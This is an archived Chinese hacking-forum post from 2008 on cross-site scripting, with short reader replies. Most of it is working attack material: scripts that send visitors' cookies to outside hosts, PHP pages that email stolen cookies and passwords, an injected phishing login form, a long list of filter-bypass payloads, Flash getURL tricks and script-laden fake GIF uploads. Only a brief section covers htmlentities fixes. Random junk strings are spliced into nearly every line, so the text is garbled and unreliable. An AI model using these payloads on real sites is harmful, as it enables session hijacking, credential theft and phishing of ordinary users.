我爱电脑技术论坛's Archiver

LOK 发表于 2008-5-11 01:06

跨站脚本-攻击和防御指向

跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案。 这次袭击使内容(脚本) ,在无特权区被执行与权
|2w6l4K2s'A.P}5wF Q"F| V{7{qF?
限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:
Nli5x K K
] N*G;pd$l[lA&^ * Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。
JP$VX5b'px6?_f * Web浏览器配置漏洞,不安全的站点在特定的区域被列出
9Xtq9})no1kl * 特定的区域被跨站脚本攻击
n\ Wej ,H7|3Dd:q R
用命令攻击要有如下两个步骤:a MV0H5]~A'Z
第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一
Yq4Z;us0k;` D2nv~0ZL d C
些恶意操作.
%yp"c%t4f o_#bL^I
当这个攻击完成后,将有恶意软件(像蠕虫;远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。
P$LeWxS.uO
;jidf zmvP8Ou 新建一个文本文档,把下面的代码放进:(AHJM0s8^
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
8KF?"_1L}
9J%J:C3h'E%X transitional.dtd">
#z3dlQ_Jv <html xmlns="http://www.w3.org/1999/xhtml">
+^ zW*E*?0S\"^f <head>%s'Ms m0H&e?p'{U
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
$`8~:F5jM s%N5@ :FcQ~ Y*dL(WCPG+z
<style type="text/css">
7QvFX)wiy <!--.`M9b1rG'c;Euz1t
body,td,th {
@,~O!H4b!T*zq4S.ti"I color: #FFFFFF;
!I5H.B;|]I_p0` }jZ J i`(M.] sI
body {+}mM9t DS
background-color: #000000;.i5]*es"K4AR
}
`)V @4u.D W -->E,iv0F2{n
</style><title>Simple XSS vulnerability by Xylitol</title>3M*z6[3Y3\J U4XG`+f
<body>
,PJb0tVE)V <form action="XSS.php" method="post">
;t9lL;[d5^ s![x{ <p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
@K*DG"Mf&hD <div align="center">
f$l['x4{b*~ <table width="270" border="0">,{@zu5]m-I
<tr>
T.}$hV5C4y"t2M3sS <td width="106"><strong>Search:</strong></td>
6s:uRk3| E Wv1T <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td> @Cg3N Vk~
</tr>
/VFv/bB_ltpgZ </table>:L3DD:f:v
<table width="268" border="0">;q-e6A(L?A jW
<tr>;qM)WyB.Ln
<td width="262"><div align="center">z1i L l:\'u
<input name="submit" type="submit" value=" Search it ! " /> G ZI3rW-a IY
</div></td>
,Q+G @Wa z3q+z a I </tr>
^0l0qT6q;f-~ </table>
^2wQ4Q i*wu Z P </div>
h7V{6o.LB2t </form>
t7ih1N"M1@4hcw T5K~0w </body>
l*e0M8bV m </html>_*T{'GLJ1S
6LU^'vLV}
然后,把这个页面保存为index.html"s(uOt4K ]X!T
再新建一个文本文档,把下面的代码放进去:1I"~6x-SXf2C
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-x {-\C"~7Bd:vZ3D
transitional.dtd">)q\He)rh _-v'r
<html xmlns="http://www.w3.org/1999/xhtml">c,l,`g1k9@J
<head>r/n m t@$[)| |h$q8_ v
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />"Sb#~a u+j
<title>Search result:</title>5G`bcY8J
<style type="text/css"> H,EN Fc6T?
<!--)`Ex[3s0e
body,td,th {
:bR6n7C,K Yb color: #FFFFFF;Nt"xqI O
}
D7R&E/x7zAJ body {
"b['p-c W A A)]s&V background-color: #000000;
\6n}"GW U-p }N)EyM#RfhM
-->
3E:WBfh$Q </style></head>$kQBA%{ J
<body>g&?7\i&F
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong> YR1s*^?4d!yv
</body>
1t5A[mC7DP </html>eY%_(i4cY.U

h0?)V2XG-m6{ z u 把文件另存为XSS.php
7hw-CX4A+m(p%l
n {*h#@? wr 关闭记事本GJe:f _8{*}EW)g

%EnoV7~\/k/E 在firefox里面打开index.html;h(n \yFT
输入一个值然后点search
m!|D B%]%~ 返回页面输入
b e2j SFdi2q v <script>alert('XSS')</script>}I_Y X8O1e%{@

y;ouAjBQ9_B)s 发送表单
:E0H6sCWHz 弹出一个对话框
b/TWp,IS;a;] )x\q?eVw oWoG*Dw
XSS攻击这时产生了...
Qz1c'o%[ q 把这段代码插入到一个易受攻击的页面(如:留言板)
v8YHp d <script>(X0S?-a/G,uT,n
window.open("http://www.lovelaozang.cn/cookie.php?cookies="+document.cookie);Mb [6bB1f IM
</script>
0vi*jC}Vw;uhu6ok (Ta Wv#k,MTTY F
([url]www.Hax0r.com[/url] = 你的网站)
s6y m V*ZO2_4t 打开记事本,把下面的代码放进去,另存为cookie.php5me)ico}xVC
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-s n gC f"Sq{%f
transitional.dtd">
w,V }[x5Q L <html xmlns="http://www.w3.org/1999/xhtml">
a;}5F h j;q <head>
4aWs$X4}d <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
^c ]#a i1R.X1X*ORS @ <title>Error</title>3qyd/e pG6G,|]/O|
<style type="text/css"> n-IW-LL_/d ge1u1L4]
<!--
7j2PNz"H body,td,th {
N7Z3Uk}DR_ color: #FFFFFF;)n(X@_%J~
}
!Ua5x?{f3fhSH0I body {
'mm,|V~CV*e background-color: #000000;
sU&i\;gS } }
FY&Nxi'Yh -->,o#[Z"A2Z#z$b8~q;V
</style></head>
1Ndj&w4vL%E }t <? mail('email@example.com', 'Cookie stealed ! - thx xyli ', $cookies); ?>
B4W!n DE-vr H;N <body>
&@ nKF!oC |H/e@ <h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>7N,k/S&pBD1R
</body>
kh3cJh+}wF </html>#u?U&?%L/l/z*yp

ru Jp3T(dB5p 这对于攻击者还不够,等着还不如接收电子邮件。 OfFi\M(g W*]
DFG9r*\5KDw%?
修补漏洞:zJz9nBVtcz.m
为修复XSS漏洞使用htmlentities
%I&h8vLM}A z'_/D RVwQv${7F'P4B
在第16行放置
MxJ } e9S8\D.| <body>
y\-Mi#o(V*U9n&Y <span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
Hm[$m[i </body>r:e'L(d r%M#[ m
By:.mCR-qsJ^ S
<body>uwSZ l9B
<span class="alerte">Search result :</span> <strong><?phpk7k4QHI
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>3vj}5A/A!?!s
</body>JVO{^U{3k
use htmlspecialchars() function in PHPh$k-UD"Oxiq7f
&\qx g;\ x} `V
other function:
I2Q#^ZGd^Y"eb6l htmlentities() quotes
_,g:wY1aV:T strip_tags()
cb*Y:h0O:U,E)s`ui ...
X;nmiU+F.Zy'S ____ ____
efnfGmAM 7e[WyiE!w'n
要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:
"D N#h4w\;c)`
$g'[1?c9q%_ { 利用image:
Usl"x8HV!iH <IMG SRC="http://lovelaozang.cn/xss.png">L+]*]0i*q1p}9r
利用flash:)h2hFl\
<EMBED SRC="http://hax0r.com/Haxored.swf">
Lk~*Fv5H+w ^8JUop(HY
重定向:9n(uVc0BOd
<script>window.open( "http://lovelaozang.cn/xss.html" )</script>

LOK 发表于 2008-5-11 01:06

还有:f#]i'w,wx+U/q
<meta http-equiv="refresh" content="0; url=http://lovelaozang.cn/xss.html" />H/M(hc4j s'IR O
W-h2jB5X ]@xL W
____ ____iF*C'jX
/ / \ \
X \+C$mf.bZ/y+m ______/ /_____________________________________\ \______
9sQ~BLhl ms | / / \ \ |IK5K!O$M2hkc
| / /.:Chapter 6 - 过滤绕过 :.\ \ |
CP.z,{f@X |___/ /___________________________________________\ \___|
pX!u%X+s / / \ \
syc mz.h /___/ \___\M&_+o&ju~)w"h

T'd`W p6A(J 事实上也不是那么简单就能绕过^T/C't5J6F
htmlspecialchars()
)Qi \x [VcRz|
(`3o/bDw"|R'}(V$C 这里有一些关于绕过xss的例子:
hOqk0v I} R <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\">vnN?b
<META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">'H%k]3t1Acn!fM
'">><marquee><h1>XSS</h1></marquee>O B/w)_1{9SJE;m5n3p
S8]"T7? Ki)K0Jl(D
'">><script>alert('XSS')</script>
.e/a v} ?9mG
JhB'\VQ a1}9Dk9x3u '>><marquee><h1>XSS</h1></marquee>
:a7f's&`Wy5v
YEac8~9L3Y$T "><script alert(String.fromCharCode(88,83,83))</script>H&y-z"tyz*r
|1d9igq1HM)M
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
wE5I9HK {
|x9G"TzkL;s <div8q0f Is[TH^
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
nF `8C-V t de(88,83,83));'))">
,I"N3?L/}S
"x6V:dpR#sO window.alert("Xyli !";
e"nReZ Y;T ]F@'f-B J,p(XCq
"/></a></><img src=1.gif onerror=alert(1)>z-sj-d n"Y'n?p
F%[X YV.} f;Hl
[color=red' onmouseover="alert('xss')"]mouse over\Y7vNF4F][C
#zwT#x+Wus\
<body onLoad="alert('XSS');"
-lW2d.H%}y
r"h7wDoE ~ <body onunload="javascript:alert('XSS');">
-w$z!]ut6ypT]8z 3VIw0o&s
click me
(F@y e!l 'k/o!pPLhp+dw
<script language="JavaScript">alert('XSS')</script>
8f"TnU\|5l(IU_
kV+z2Qpy <img src="javascript:alert('XSS')">Ge;A/I7NK9YN
#wRO K H/G.Vj5y
'); alert('XSS
pY4PUN&kb&{ lc3R
,Av5A/H;vZ4T}h3H <font style='color:expression(alert(document.cookie))'>
f8B"GZF` K
6V?r,Cm u <IMG DYNSRC=\"javascript:alert('XSS')\">z[+j2KH.W p

@E p kKN <IMG LOWSRC=\"javascript:alert('XSS')\">
4oc:x h4L
%Wk^"U0msN </textarea><script>alert(/xss/)</script>
+D(Q ]l eD$o3|:L3vT g$m8m,L7f
</title><script>alert(/xss/)</script>
7A I?-~7i%Y
*v rP1I_K <script src=http://yoursite.com/your_files.js></script>
U/jwq[&Ie.M l3ZH8lj
"><script>alert(0)</script>
U/JW6@,{lX jWYEGyuW
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
,C7l-H"L*{;B5n"I+P&NY hh2[j(XE6gJyX [\
<IMG SRC=\"jav ascript:alert('XSS');\">
1\ bc'c+A E-Z *h}.fqZ
<IMG SRC=\"jav ascript:alert('XSS');\">(G)^R j-Ipk
8P^it&bj-un0dq
<IMG SRC=\"jav ascript:alert('XSS');\">
*N:M%QNd/B4B
5ivA4r2q+kZ&g <marquee><script>alert('XSS')</script></marquee> ivz'cn3w

$O6s$^3a3O8O%t'SL <? echo('<scr)';
2z"VM&l9H echo('ipt>alert(\"XSS\"</script>'); ?>
T-H.o6~5w V[#D
'bo d3g a <IMG SRC=\"jav ascript:alert('XSS');\">/C^NG8~\
-ue.g\Csx
<IMG SRC=\"jav ascript:alert('XSS');\">8pf6B)h)g&x3{
Z,}-D!p2b f |Po
<marquee><script>alert('XSS')</script></marquee>F T%h:jM&I a q

VQ)R&G@'@0})R <style>@im\port'\ja\vasc\ript:alert(\"XSS\"';</style>
4?i/O]'? &Rz,a(}"A R(Xf4r
<img src=foo.png onerror=alert(/xssed/) />
~3@-Nitu} -}l*\.zX Y"A$ls
<script>alert(String.fromCharCode(88,83,83))</script>
"C(GMH)f cup?
1Z2E'f"z6RDIG.E;q <scr<script>ipt>alert('XSS');</scr</script>ipt>^_K&s$N\*a#O_hq
E7{.Cs.TICa{
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
Vq i'@?X escape(document.cookie)</script>
(yi2B;Fzj
R[R W$d*M+A8`5S9F <script src="http://www.evilsite.org/cookiegrabber.php"></script>
L{#OE'[`4e!}(yA
!r1? pY:Y:`)~e <script>alert('XSS');</script>.wZ~]7lYC)vY8c0o

V@btEM VX <script>alert(1);</script>&\%l.E5y/Zw0t
~E;a.VAw(` \l
Flash是用来做复杂的动画,模拟的,创造游戏等。
"QwXV`\m/l
N+g LRfC4dXR.yr getURL()这个函数是有趣的,可以用来我们的攻击。这个函数可以帮我们改变最终用户到其它页面。
p@i,^A XA
l{zK`:O E 它的语法是这样的:v-Y B)C&k4WYr#l}
getURL(url:String, [window: String,[method:String]])
lx'Q!c9{K] ^#v Q(i.y0h#j6[3~%W
如:,N%~:f5l'X
getURL("http://lovelaozang.cn/login.php?logout=true","_self";
@M h7ikg$Pw/V
WhY,Exc h:@1i url: 网站的地址CByDEH#O:Ls2O
window: 指定框架要求(_self, _blank…):Xm#hhD8hD)f
R2vO%nNA p7[/f
method: 请求方法 GET or POST (by defect GET)
0h)V"a&{ l)rR7u { I0^8URkb
这里的处理动作和JavaScript以发布警报:
2t]&GA"x'Z)v o L getURL("javascript:alert('XSS'";?&i9_9e2I%vkK4[6\
C*dF(p;RC
在2002年表现出这种形式的危险
O9I yv-XGd3Zt'} 这种方式是一种可以发送用户的cookie的;
(?c @/XmB c:Kj getURL("javascript:alert(document.cookie)"
Qt,nO)ab"tB
{9Xw#rNzG\^ 在2005年12月,开辟新的途径,并出现构成已受益于两年前XSS和可能性,把一个文件Flash放在签名中,以提供一个永久性跨站脚本m5@.F*m ?:g#@
m,r{+@-n5vNf
攻击此外,作者的这种另类使用的技术,以便传给公司,以背离蠕虫着XSS的德萨米:Samy 重装上阵
\.|)To#w ~
1Mu i |nM%qe 用flash窃取cookie?
1k-| [!O3Iz-l6D)[{a 不是,但有技术的做:
WLY_9Y%t2ps2Y] 如:
;B#\VD-~:[&x 在一个FLASH文件:
D3QW'{;tByMQ GetURL("http://www.victime.com/page.php?var=<script src='http://www.lvoelaozang.cn/hack.js'></script>","_self";2F_;d'_9aq

KT6l Ei+S F 在这个hack.js文件里面有如下代码:r#V+Z*`$I z
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;b.jF!R&M8E2o)B

0~w T0df3d5c 这个解决方法很简单:就是禁止flash文件在你的WEB应用上使用./rLewhiu(i3S
?9Z&T5wPR
兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码
:V2U8|;nD1^5s~k,\*HL GIF89a<script>alert("XSS"</script>a p5a^0]m5fx PH
(Ix:}0Xus)u nHc
保存退出.Db4Rss&dP
上传hack.gif到相就的地方...此时跨站发生 f]r8n'm&SV6p
不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.E&L/\ S:_!sF8l/w

!P1Y4g!RD2}x c 为什么添加GIF89a ?MHc8F9]Os5T
因为很多上传程序会来检查我们的gif文件是否包含 'GIF89a',如果包括则认为是gif文件.
+a1Zyqbh k+Q GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script>
9h9ax _R"n!p:u x
[0?Yp9]0H$A+AW 我们需要知道一些其它格式图片,头部所包含的代码.uX @ S'@ji
-z8HR]$e_w%nw
PNG = ‰PNG
!Dm!U2\?8u.] GIF = GIF89a
d+q \Tb@#^(|l JPG = &yuml;&Oslash;&yuml;à JFIFUA,|c/B5Vz
BMP = BMF&Ouml;
0Q;b%^,N1?,yr7k:B[%H Nb!m2?g M(c
为了安全不要仅仅只检查getimagesize()
T!l M1{N:_,Gw 8H9K X/W-T$SgU
你是否明白什么是钓鱼?什么是XSS?
G4EpXv2l
GJv,Z4m7Pu 在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码:eTV`;{K7T[
<p>Enter your login and password, thank:</p>
/LD[kO!a <form action="http://hax0r.com/mail.php"> \9ArpqX(r
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
u&I5qr"^B"ec </td></tr><tr><td>assword:</td><td>_,`Fow~
<input type=text length=20 name=password>
!m*rGAYJK3A </td></tr></table><input type=submit value= OK >
I LL.b:f:w </form>
,r:o2o1feC+fGq
3@%xq7}+GB6M5y 这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。:h3P7VfU-|:Dg
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
aWc;u3^&G transitional.dtd">
:P ]3B[ZrY!|$R6y <html xmlns="http://www.w3.org/1999/xhtml">
+}|}1Nth$q){ m <head> ^W5vfiz"L_B
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
of.n4Iu!Pv&T_8x <title>Error</title>
gS;{Q,u/]a j <style type="text/css">
8f.C*gg0t zr <!--
"fGEN*F` body,td,th {
N4Y+Y,GnZGO$T;` color: #FFFFFF;%Q0a(HM-E:G:b7I
}Ef+s ` yOY;[.B;H
body {5R? Zz r;m*T
background-color: #000000;
Ak&aYf,\$i }~3}[/x:gl
-->f]7Q#wW[8{TYl
</style></head>sn)U1o%spvJ0@mW
<?phpj? R3C!Fm
$login = $HTTP_GET_VARS["login"];
!|2N!PQ5s0b $password = $HTTP_GET_VARS["password"];
%l {VQ L&aS(r mail("email@example.com", "Cookie stealed ! - thx xyli ", $password , $login );
6o/TSiI;p,pU D#S.t,q ?>_'w/F`FHX1Y#P
<body>
!T`9W u}v/|N <h2><strong>Error</strong> -<strong> Server too much busy</strong></h2> U*s oM'J%{2Z+Kn h9i
</body>
@RkzT </html> K~lD8y+W`5f:Q

&t,B|&b|i5r\ 用户会认为,服务器可能超过了负载,并不会怀疑

紀亊夲 发表于 2008-5-11 10:40

不错,支持一下!

hi363936517 发表于 2008-5-17 08:41

呵呵,同甘共苦

a4076 发表于 2008-5-17 08:56

楼主辛苦··!!

页: [1]

Powered by 我爱电脑技术论坛 Archiver 6.1.0  © 2001-2007 本SEO插件由网络人站长论坛出品